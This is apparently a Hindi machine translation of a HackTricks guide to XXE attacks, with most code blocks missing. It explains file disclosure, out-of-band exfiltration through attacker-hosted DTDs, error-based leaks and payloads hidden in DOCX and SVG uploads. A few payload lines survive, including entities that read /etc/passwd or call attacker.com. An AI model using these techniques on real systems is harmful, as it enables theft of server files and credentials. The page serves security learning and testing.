XXE - XEE - XML External Entity
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
XML एक मार्कअप भाषा है जिसे डेटा संग्रहण और परिवहन के लिए डिज़ाइन किया गया है, जिसमें एक लचीली संरचना है जो वर्णनात्मक रूप से नामित टैग के उपयोग की अनुमति देती है। यह HTML से भिन्न है क्योंकि यह पूर्वनिर्धारित टैग के सेट तक सीमित नहीं है। JSON के उदय के साथ XML का महत्व कम हुआ है, इसके प्रारंभिक AJAX प्रौद्योगिकी में भूमिका के बावजूद।
Entities के माध्यम से डेटा प्रतिनिधित्व: XML में Entities डेटा का प्रतिनिधित्व करने की अनुमति देती हैं, जिसमें विशेष वर्ण जैसे <
और >
शामिल हैं, जो <
और >
के अनुरूप हैं ताकि XML के टैग सिस्टम के साथ संघर्ष से बचा जा सके।
XML तत्वों की परिभाषा: XML तत्व प्रकारों की परिभाषा की अनुमति देता है, यह बताते हुए कि तत्वों को कैसे संरचित किया जाना चाहिए और उनमें कौन सा सामग्री हो सकती है, जो किसी भी प्रकार की सामग्री से लेकर विशिष्ट बाल तत्वों तक हो सकती है।
डॉक्यूमेंट टाइप परिभाषा (DTD): DTDs XML में दस्तावेज़ की संरचना और इसमें शामिल डेटा के प्रकारों को परिभाषित करने में महत्वपूर्ण हैं। ये आंतरिक, बाहरी, या संयोजन हो सकते हैं, यह मार्गदर्शन करते हुए कि दस्तावेज़ों को कैसे स्वरूपित और मान्य किया जाना चाहिए।
कस्टम और बाहरी Entities: XML DTD के भीतर लचीले डेटा प्रतिनिधित्व के लिए कस्टम Entities बनाने का समर्थन करता है। बाहरी Entities, जिन्हें URL के साथ परिभाषित किया गया है, सुरक्षा चिंताओं को उठाती हैं, विशेष रूप से XML External Entity (XXE) हमलों के संदर्भ में, जो XML पार्सर्स द्वारा बाहरी डेटा स्रोतों को संभालने के तरीके का लाभ उठाते हैं: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
पैरामीटर Entities के साथ XXE पहचान: XXE कमजोरियों का पता लगाने के लिए, विशेष रूप से जब पारंपरिक विधियाँ पार्सर सुरक्षा उपायों के कारण विफल होती हैं, XML पैरामीटर Entities का उपयोग किया जा सकता है। ये Entities आउट-ऑफ-बैंड पहचान तकनीकों की अनुमति देती हैं, जैसे कि DNS लुकअप या HTTP अनुरोधों को नियंत्रित डोमेन पर ट्रिगर करना, ताकि कमजोरियों की पुष्टि की जा सके।
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
इस हमले में मैं यह परीक्षण करने जा रहा हूँ कि क्या एक साधारण नई ENTITY घोषणा काम कर रही है
आइए विभिन्न तरीकों से /etc/passwd
पढ़ने की कोशिश करें। Windows के लिए आप पढ़ने की कोशिश कर सकते हैं: C:\windows\system32\drivers\etc\hosts
इस पहले मामले में ध्यान दें कि SYSTEM "**file:///**etc/passwd" भी काम करेगा।
यह दूसरा मामला एक फ़ाइल निकालने के लिए उपयोगी होना चाहिए यदि वेब सर्वर PHP का उपयोग कर रहा है (पोर्टस्विगर्स प्रयोगशालाओं का मामला नहीं)
इस तीसरे मामले में ध्यान दें कि हम Element stockCheck
को ANY के रूप में घोषित कर रहे हैं।
Java आधारित अनुप्रयोगों में एक निर्देशिका की सामग्री को सूचीबद्ध करना XXE के माध्यम से संभव हो सकता है, एक पेलोड के साथ जैसे (फाइल के बजाय बस निर्देशिका के लिए पूछना):
एक XXE का उपयोग क्लाउड के अंदर एक SSRF का दुरुपयोग करने के लिए किया जा सकता है।
पहले टिप्पणी की गई तकनीक का उपयोग करके आप सर्वर को एक सर्वर तक पहुँचने के लिए मजबूर कर सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह दिखा सके कि यह कमजोर है। लेकिन, अगर यह काम नहीं कर रहा है, तो शायद इसका कारण यह है कि XML संस्थाएँ अनुमति नहीं हैं, इस मामले में आप XML पैरामीटर संस्थाओं का उपयोग करने की कोशिश कर सकते हैं:
इस अवसर पर हम सर्वर को एक नया DTD लोड करने के लिए मजबूर करेंगे जिसमें एक दुर्भावनापूर्ण पेलोड होगा जो HTTP अनुरोध के माध्यम से एक फ़ाइल की सामग्री भेजेगा (बहु-लाइन फ़ाइलों के लिए आप इसे _ftp://_ के माध्यम से एक्स-फिल्ट्रेट करने की कोशिश कर सकते हैं, उदाहरण के लिए इस बुनियादी सर्वर का उपयोग करते हुए xxe-ftp-server.rb)। यह व्याख्या Portswiggers lab here** पर आधारित है।**
दिए गए दुर्भावनापूर्ण DTD में, डेटा को एक्स-फिल्ट्रेट करने के लिए एक श्रृंखला के चरण किए जाते हैं:
संरचना इस प्रकार है:
The steps executed by this DTD include:
Parameter Entities की परिभाषा:
एक XML पैरामीटर एंटिटी, %file
, बनाई जाती है, जो /etc/hostname
फ़ाइल की सामग्री को पढ़ती है।
एक और XML पैरामीटर एंटिटी, %eval
, परिभाषित की जाती है। यह गतिशील रूप से एक नई XML पैरामीटर एंटिटी, %exfiltrate
, की घोषणा करती है। %exfiltrate
एंटिटी को हमलावर के सर्वर पर HTTP अनुरोध करने के लिए सेट किया जाता है, जो %file
एंटिटी की सामग्री को URL के क्वेरी स्ट्रिंग में पास करता है।
एंटिटीज़ का निष्पादन:
%eval
एंटिटी का उपयोग किया जाता है, जो %exfiltrate
एंटिटी की गतिशील घोषणा के निष्पादन की ओर ले जाता है।
फिर %exfiltrate
एंटिटी का उपयोग किया जाता है, जो फ़ाइल की सामग्री के साथ निर्दिष्ट URL पर HTTP अनुरोध को ट्रिगर करता है।
हमलावर इस दुर्भावनापूर्ण DTD को अपने नियंत्रण में एक सर्वर पर होस्ट करता है, आमतौर पर एक URL जैसे http://web-attacker.com/malicious.dtd
पर।
XXE Payload: एक कमजोर एप्लिकेशन का शोषण करने के लिए, हमलावर एक XXE payload भेजता है:
This payload defines an XML parameter entity %xxe
and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the /etc/hostname
file to the attacker's server.
इस मामले में हम सर्वर को एक दुर्भावनापूर्ण DTD लोड करने के लिए मजबूर करने जा रहे हैं जो एक त्रुटि संदेश के अंदर एक फ़ाइल की सामग्री दिखाएगा (यह केवल तब मान्य है जब आप त्रुटि संदेश देख सकते हैं)। यहां से उदाहरण।
एक XML पार्सिंग त्रुटि संदेश, जो /etc/passwd
फ़ाइल की सामग्री को प्रकट करता है, एक दुर्भावनापूर्ण बाहरी दस्तावेज़ प्रकार परिभाषा (DTD) का उपयोग करके उत्पन्न किया जा सकता है। यह निम्नलिखित चरणों के माध्यम से पूरा किया जाता है:
एक XML पैरामीटर एंटिटी file
नामक परिभाषित की जाती है, जिसमें /etc/passwd
फ़ाइल की सामग्री होती है।
एक XML पैरामीटर एंटिटी eval
नामक परिभाषित की जाती है, जो error
नामक एक अन्य XML पैरामीटर एंटिटी के लिए एक गतिशील घोषणा को शामिल करती है। जब इस error
एंटिटी का मूल्यांकन किया जाता है, तो यह एक गैर-मौजूद फ़ाइल को लोड करने का प्रयास करती है, जिसमें file
एंटिटी की सामग्री को उसके नाम के रूप में शामिल किया जाता है।
eval
एंटिटी को बुलाया जाता है, जिससे error
एंटिटी की गतिशील घोषणा होती है।
error
एंटिटी का आह्वान एक गैर-मौजूद फ़ाइल को लोड करने के प्रयास का परिणाम होता है, जिससे एक त्रुटि संदेश उत्पन्न होता है जिसमें /etc/passwd
फ़ाइल की सामग्री फ़ाइल नाम के भाग के रूप में शामिल होती है।
दुर्भावनापूर्ण बाहरी DTD को निम्नलिखित XML के साथ बुलाया जा सकता है:
Upon execution, the web server's response should include an error message displaying the contents of the /etc/passwd
file.
कृपया ध्यान दें कि बाहरी DTD हमें दूसरे (eval
) के अंदर एक एंटिटी शामिल करने की अनुमति देती है, लेकिन यह आंतरिक DTD में निषिद्ध है। इसलिए, आप बाहरी DTD का उपयोग किए बिना एक त्रुटि को मजबूर नहीं कर सकते (आमतौर पर)।
तो जब आउट-ऑफ-बैंड इंटरैक्शन अवरुद्ध होते हैं (बाहरी कनेक्शन उपलब्ध नहीं हैं) तो अंधे XXE कमजोरियों के बारे में क्या?
XML भाषा विनिर्देशन में एक छिद्र त्रुटि संदेशों के माध्यम से संवेदनशील डेटा को उजागर कर सकता है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाओं को मिलाता है। यह समस्या बाहरी रूप से घोषित की गई एंटिटीज़ के आंतरिक पुनर्परिभाषा की अनुमति देती है, जिससे त्रुटि-आधारित XXE हमलों का संचालन संभव होता है। ऐसे हमले XML पैरामीटर एंटिटी के पुनर्परिभाषा का लाभ उठाते हैं, जो मूल रूप से एक बाहरी DTD में घोषित की गई थी, एक आंतरिक DTD के भीतर से। जब सर्वर द्वारा आउट-ऑफ-बैंड कनेक्शन अवरुद्ध होते हैं, तो हमलावरों को हमले को अंजाम देने के लिए स्थानीय DTD फ़ाइलों पर निर्भर रहना पड़ता है, जिसका उद्देश्य संवेदनशील जानकारी को प्रकट करने के लिए एक पार्सिंग त्रुटि उत्पन्न करना है।
एक परिदृश्य पर विचार करें जहां सर्वर की फ़ाइल प्रणाली में /usr/local/app/schema.dtd
पर एक DTD फ़ाइल है, जो custom_entity
नामक एक एंटिटी को परिभाषित करती है। एक हमलावर एक हाइब्रिड DTD प्रस्तुत करके /etc/passwd
फ़ाइल की सामग्री को उजागर करने के लिए XML पार्सिंग त्रुटि उत्पन्न कर सकता है:
The outlined steps are executed by this DTD:
एक XML पैरामीटर एंटिटी local_dtd
की परिभाषा में सर्वर की फाइल सिस्टम पर स्थित बाहरी DTD फ़ाइल शामिल है।
custom_entity
XML पैरामीटर एंटिटी के लिए एक पुनर्परिभाषा होती है, जो बाहरी DTD में मूल रूप से परिभाषित की गई थी, ताकि त्रुटि-आधारित XXE हमले को संलग्न किया जा सके। यह पुनर्परिभाषा एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन की गई है, जो /etc/passwd
फ़ाइल की सामग्री को उजागर करती है।
local_dtd
एंटिटी का उपयोग करके, बाहरी DTD को संलग्न किया जाता है, जिसमें नए परिभाषित custom_entity
शामिल है। इन क्रियाओं की श्रृंखला उस त्रुटि संदेश के उत्सर्जन को प्रेरित करती है जिसे हमले द्वारा लक्षित किया गया है।
Real world example: Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd
containing an entity called ISOamso
चूंकि यह तकनीक एक आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD ढूंढना होगा। आप यह इंस्टॉल करके कर सकते हैं कि सर्वर कौन सा OS / सॉफ़्टवेयर उपयोग कर रहा है और कुछ डिफ़ॉल्ट DTDs की खोज कर सकते हैं, या सिस्टम के अंदर डिफ़ॉल्ट DTDs की एक सूची इकट्ठा कर सकते हैं और जांच कर सकते हैं कि क्या उनमें से कोई मौजूद है:
For more information check https://portswigger.net/web-security/xxe/blind
निम्नलिखित शानदार github repo में आप सिस्टम में मौजूद DTDs के पथ पा सकते हैं:
इसके अलावा, यदि आपके पास पीड़ित सिस्टम का Docker इमेज है, तो आप उसी repo के टूल का उपयोग करके इमेज को स्कैन कर सकते हैं और सिस्टम के अंदर मौजूद DTDs का पथ खोज सकते हैं। जानने के लिए github का Readme पढ़ें।
इस हमले के बारे में अधिक गहन व्याख्या के लिए, **इस अद्भुत पोस्ट का दूसरा सेक्शन देखें Detectify से।
Microsoft Office दस्तावेज़ अपलोड करने की क्षमता कई वेब अनुप्रयोगों द्वारा प्रदान की जाती है, जो फिर इन दस्तावेज़ों से कुछ विवरण निकालने की प्रक्रिया में जाती हैं। उदाहरण के लिए, एक वेब अनुप्रयोग उपयोगकर्ताओं को XLSX प्रारूप की स्प्रेडशीट अपलोड करके डेटा आयात करने की अनुमति दे सकता है। स्प्रेडशीट से डेटा निकालने के लिए पार्सर को अनिवार्य रूप से कम से कम एक XML फ़ाइल को पार्स करना होगा।
इस भेद्यता का परीक्षण करने के लिए, एक XXE पेलोड वाला Microsoft Office फ़ाइल बनाना आवश्यक है। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सके।
एक बार जब दस्तावेज़ अनज़िप हो जाता है, तो ./unzipped/word/document.xml
पर स्थित XML फ़ाइल को खोला जाना चाहिए और एक पसंदीदा टेक्स्ट संपादक (जैसे vim) में संपादित किया जाना चाहिए। XML को इच्छित XXE पेलोड को शामिल करने के लिए संशोधित किया जाना चाहिए, जो अक्सर एक HTTP अनुरोध के साथ शुरू होता है।
संशोधित XML पंक्तियों को दो मूल XML वस्तुओं के बीच डाला जाना चाहिए। URL को अनुरोधों के लिए मॉनिटर करने योग्य URL से बदलना महत्वपूर्ण है।
अंत में, फ़ाइल को ज़िप किया जा सकता है ताकि दुर्भावनापूर्ण poc.docx फ़ाइल बनाई जा सके। पहले से बनाए गए "unzipped" निर्देशिका से, निम्नलिखित कमांड चलाया जाना चाहिए:
अब, बनाई गई फ़ाइल को संभावित रूप से कमजोर वेब अनुप्रयोग में अपलोड किया जा सकता है, और एक अनुरोध के Burp Collaborator लॉग में दिखाई देने की उम्मीद की जा सकती है।
jar प्रोटोकॉल विशेष रूप से Java अनुप्रयोगों के भीतर सुलभ है। यह PKZIP संग्रह (जैसे, .zip
, .jar
, आदि) के भीतर फ़ाइल पहुंच सक्षम करने के लिए डिज़ाइन किया गया है, जो स्थानीय और दूरस्थ फ़ाइलों दोनों के लिए उपयुक्त है।
PKZIP फ़ाइलों के अंदर फ़ाइलों तक पहुँचने में सक्षम होना सिस्टम DTD फ़ाइलों के माध्यम से XXE का दुरुपयोग करने के लिए सुपर उपयोगी है। इस अनुभाग को देखें कि सिस्टम DTD फ़ाइलों का दुरुपयोग कैसे करें.
PKZIP संग्रह के भीतर एक फ़ाइल तक पहुँचने की प्रक्रिया में कई चरण शामिल हैं:
एक HTTP अनुरोध एक निर्दिष्ट स्थान से ज़िप संग्रह डाउनलोड करने के लिए किया जाता है, जैसे https://download.website.com/archive.zip
।
HTTP प्रतिक्रिया जिसमें संग्रह होता है, अस्थायी रूप से सिस्टम पर संग्रहीत की जाती है, आमतौर पर /tmp/...
जैसे स्थान पर।
फिर संग्रह को इसके सामग्री तक पहुँचने के लिए निकाला जाता है।
संग्रह के भीतर विशिष्ट फ़ाइल, file.zip
, को पढ़ा जाता है।
संचालन के बाद, इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है।
इस प्रक्रिया को दूसरे चरण में बाधित करने की एक दिलचस्प तकनीक में संग्रह फ़ाइल को सर्व करते समय सर्वर कनेक्शन को अनिश्चितकाल के लिए खुला रखना शामिल है। इस भंडार में उपलब्ध उपकरणों का उपयोग इस उद्देश्य के लिए किया जा सकता है, जिसमें एक Python सर्वर (slow_http_server.py
) और एक Java सर्वर (slowserver.jar
) शामिल हैं।
अस्थायी निर्देशिका में फ़ाइलें लिखना एक और भेद्यता को बढ़ाने में मदद कर सकता है जो पथ यात्रा से संबंधित है (जैसे स्थानीय फ़ाइल शामिल करना, टेम्पलेट इंजेक्शन, XSLT RCE, डीसिरियलाइजेशन, आदि)।
Windows होस्ट पर, एक responder.py हैंडलर सेट करके वेब सर्वर उपयोगकर्ता का NTML हैश प्राप्त करना संभव है:
और निम्नलिखित अनुरोध भेजकर
Then you can try to crack the hash using hashcat
जब सर्वर-साइड XML दस्तावेज़ों में क्लाइंट डेटा को एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, जो DOCTYPE
तत्व को संशोधित करने पर प्रतिबंधों के कारण पारंपरिक XXE हमलों को बाधित करता है। हालाँकि, एक XInclude
हमला एक समाधान प्रदान करता है जो XML दस्तावेज़ के किसी भी डेटा तत्व के भीतर बाहरी संस्थाओं को सम्मिलित करने की अनुमति देता है। यह विधि प्रभावी है, भले ही केवल सर्वर-जनित XML दस्तावेज़ के भीतर डेटा का एक भाग नियंत्रित किया जा सके।
XInclude
हमले को निष्पादित करने के लिए, XInclude
नामस्थान को घोषित करना आवश्यक है, और इच्छित बाहरी संस्था के लिए फ़ाइल पथ निर्दिष्ट करना होगा। नीचे एक संक्षिप्त उदाहरण है कि इस प्रकार के हमले को कैसे तैयार किया जा सकता है:
Check https://portswigger.net/web-security/xxe for more info!
कुछ अनुप्रयोगों में उपयोगकर्ताओं द्वारा अपलोड की गई फ़ाइलें, जिन्हें फिर सर्वर पर संसाधित किया जाता है, XML या XML-समावेशी फ़ाइल प्रारूपों के प्रबंधन में कमजोरियों का लाभ उठा सकती हैं। सामान्य फ़ाइल प्रारूप जैसे कार्यालय दस्तावेज़ (DOCX) और चित्र (SVG) XML पर आधारित होते हैं।
जब उपयोगकर्ता चित्र अपलोड करते हैं, तो इन चित्रों को सर्वर-साइड पर संसाधित या मान्य किया जाता है। यहां तक कि उन अनुप्रयोगों के लिए जो PNG या JPEG जैसे प्रारूपों की अपेक्षा करते हैं, सर्वर की छवि प्रसंस्करण पुस्तकालय SVG चित्रों का भी समर्थन कर सकती है। SVG, एक XML-आधारित प्रारूप होने के नाते, हमलावरों द्वारा दुर्भावनापूर्ण SVG चित्रों को प्रस्तुत करने के लिए शोषित किया जा सकता है, जिससे सर्वर XXE (XML External Entity) कमजोरियों के प्रति उजागर हो जाता है।
ऐसे एक शोषण का उदाहरण नीचे दिखाया गया है, जहां एक दुर्भावनापूर्ण SVG चित्र प्रणाली फ़ाइलों को पढ़ने का प्रयास करता है:
एक और विधि में PHP "expect" wrapper के माध्यम से कमांड्स को निष्पादित करने का प्रयास करना शामिल है:
दोनों मामलों में, SVG प्रारूप का उपयोग उन हमलों को लॉन्च करने के लिए किया जाता है जो सर्वर के सॉफ़्टवेयर की XML प्रोसेसिंग क्षमताओं का लाभ उठाते हैं, जो मजबूत इनपुट सत्यापन और सुरक्षा उपायों की आवश्यकता को उजागर करता है।
अधिक जानकारी के लिए https://portswigger.net/web-security/xxe देखें!
ध्यान दें कि पढ़ी गई फ़ाइल की पहली पंक्ति या निष्पादन के परिणाम को बनाए गए चित्र के अंदर दिखाई देगी। इसलिए आपको उस चित्र तक पहुँचने में सक्षम होना चाहिए जो SVG ने बनाया है।
एक PDF फ़ाइल अपलोड करते समय XXE का लाभ उठाने के लिए पढ़ें:
PDF Upload - XXE and CORS bypassयदि एक POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में XXE का लाभ उठाने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि एक सामान्य अनुरोध में निम्नलिखित शामिल है:
फिर आप निम्नलिखित अनुरोध प्रस्तुत करने में सक्षम हो सकते हैं, उसी परिणाम के साथ:
अनुरोध को बदलने के लिए आप “Content Type Converter“ नामक एक Burp Extension का उपयोग कर सकते हैं। यहाँ आप यह उदाहरण पा सकते हैं:
एक और उदाहरण यहां पाया जा सकता है।
यह केवल तभी काम करता है जब XML सर्वर data://
प्रोटोकॉल को स्वीकार करता है।
आप यहाँ ["Encode Recipe" of cyberchef] ([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to को UTF-7 में परिवर्तित करने के लिए उपयोग कर सकते हैं।
यदि वेब PHP का उपयोग कर रहा है, तो file:/
का उपयोग करने के बजाय आप php wrappersphp://filter/convert.base64-encode/resource=
का उपयोग करके आंतरिक फ़ाइलों तक पहुँच सकते हैं।
यदि वेब Java का उपयोग कर रहा है, तो आप jar: protocol की जांच कर सकते हैं।
https://github.com/Ambrotd/XXE-Notes से ट्रिक आप एक एंटिटी के अंदर एक एंटिटी बना सकते हैं, इसे html entities के साथ एन्कोड करके और फिर इसे dtd लोड करने के लिए कॉल कर सकते हैं। ध्यान दें कि उपयोग की गई HTML Entities संख्यात्मक होनी चाहिए (जैसे [इस उदाहरण में](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
DTD उदाहरण:
निकालें index.php
यदि PHP "expect" मॉड्यूल लोड किया गया है
यह उदाहरण https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe से प्रेरित है।
XLIFF (XML Localization Interchange File Format) का उपयोग स्थानीयकरण प्रक्रियाओं में डेटा विनिमय को मानकीकृत करने के लिए किया जाता है। यह एक XML-आधारित प्रारूप है जिसका मुख्य रूप से स्थानीयकरण के दौरान उपकरणों के बीच स्थानीयकरण योग्य डेटा को स्थानांतरित करने और CAT (Computer-Aided Translation) उपकरणों के लिए एक सामान्य विनिमय प्रारूप के रूप में उपयोग किया जाता है।
सर्वर को निम्नलिखित सामग्री के साथ एक अनुरोध किया जाता है:
हालांकि, यह अनुरोध एक आंतरिक सर्वर त्रुटि को सक्रिय करता है, विशेष रूप से मार्कअप घोषणाओं के साथ एक समस्या का उल्लेख करते हुए:
हालांकि त्रुटि है, लेकिन बर्प सहयोगी पर एक हिट दर्ज की जाती है, जो बाहरी इकाई के साथ कुछ स्तर की बातचीत को इंगित करती है।
Out of Band Data Exfiltration डेटा को एक्सफिल्ट्रेट करने के लिए, एक संशोधित अनुरोध भेजा जाता है:
यह दृष्टिकोण यह प्रकट करता है कि यूजर एजेंट Java 1.8 के उपयोग को इंगित करता है। इस Java संस्करण की एक उल्लेखनीय सीमा यह है कि यह आउट ऑफ बैंड तकनीक का उपयोग करके न्यूलाइन कैरेक्टर वाले फ़ाइलों, जैसे /etc/passwd, को पुनः प्राप्त करने में असमर्थ है।
Error-Based Data Exfiltration इस सीमा को पार करने के लिए, एक Error-Based दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल को इस प्रकार संरचित किया गया है कि यह एक त्रुटि को ट्रिगर करे जिसमें लक्षित फ़ाइल से डेटा शामिल हो:
सर्वर एक त्रुटि के साथ प्रतिक्रिया करता है, जो महत्वपूर्ण रूप से गैर-मौजूद फ़ाइल को दर्शाता है, यह संकेत करते हुए कि सर्वर निर्दिष्ट फ़ाइल तक पहुँचने का प्रयास कर रहा है:
फाइल की सामग्री को त्रुटि संदेश में शामिल करने के लिए, DTD फ़ाइल को समायोजित किया जाता है:
यह संशोधन फ़ाइल की सामग्री के सफल निष्कासन की ओर ले जाता है, क्योंकि यह HTTP के माध्यम से भेजे गए त्रुटि आउटपुट में परिलक्षित होता है। यह एक सफल XXE (XML External Entity) हमले को इंगित करता है, जो संवेदनशील जानकारी निकालने के लिए आउट ऑफ बैंड और त्रुटि-आधारित तकनीकों दोनों का लाभ उठाता है।
XXE भेद्यता का लाभ उठाने के लिए RSS प्रारूप के साथ मान्य XML।
हमलावर के सर्वर के लिए सरल HTTP अनुरोध
PHP base64 फ़िल्टर का उपयोग करना
XMLDecoder एक Java क्लास है जो XML संदेश के आधार पर ऑब्जेक्ट बनाता है। यदि एक दुर्भावनापूर्ण उपयोगकर्ता किसी एप्लिकेशन को readObject विधि में मनमाने डेटा का उपयोग करने के लिए मजबूर कर सकता है, तो वह तुरंत सर्वर पर कोड निष्पादन प्राप्त कर लेगा।
HTTP के माध्यम से अपनी बाहरी DTD का उपयोग करके जानकारी निकालें: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/\
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)